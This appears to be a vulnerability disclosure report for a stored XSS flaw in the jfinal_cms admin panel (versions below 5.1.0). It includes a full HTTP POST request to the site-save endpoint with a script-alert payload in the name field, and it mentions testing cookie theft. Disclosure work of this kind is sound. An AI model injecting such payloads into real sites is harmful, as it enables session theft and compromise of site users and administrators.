There is a stored xss vulnerability exists in jfinal_cms

[afeng2016-s]

[Suggested description]
jfinal_ There is a storage XSS vulnerability in the background system of CMS. Because developers do not filter the parameters submitted by the user input form, any user with background permission can affect the system security by entering malicious code. via a Google search in url:http://localhost/jfinal_cms/admin/site/save/5

[Vulnerability Type]
Cross Site Scripting (XSS)

[Vendor of Product]
https://github.com/jflyfox/jfinal_cms

[Affected Product Code Base]
Less than 5.1 0

[Affected Component]
POST /jfinal_cms/admin/site/save/5 HTTP/1.1
Host: localhost
Content-Length: 1777
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBl1vjLCSUZbB3vef
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/jfinal_cms/admin/site/edit/5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
......
------WebKitFormBoundaryBl1vjLCSUZbB3vef
Content-Disposition: form-data; name="model.name"
�客<script>alert("xss")</script> //your xss payload
------WebKitFormBoundaryBl1vjLCSUZbB3vef
Content-Disposition: form-data; name="model.site_title"
......
------WebKitFormBoundaryBl1vjLCSUZbB3vef--

[Attack Type]
Remote

[Impact Code execution]
true

Click the Save button, because the developer does not filter the input parameters, the input malicious code is parsed and executed.

Test the reflection cookie through XSS again.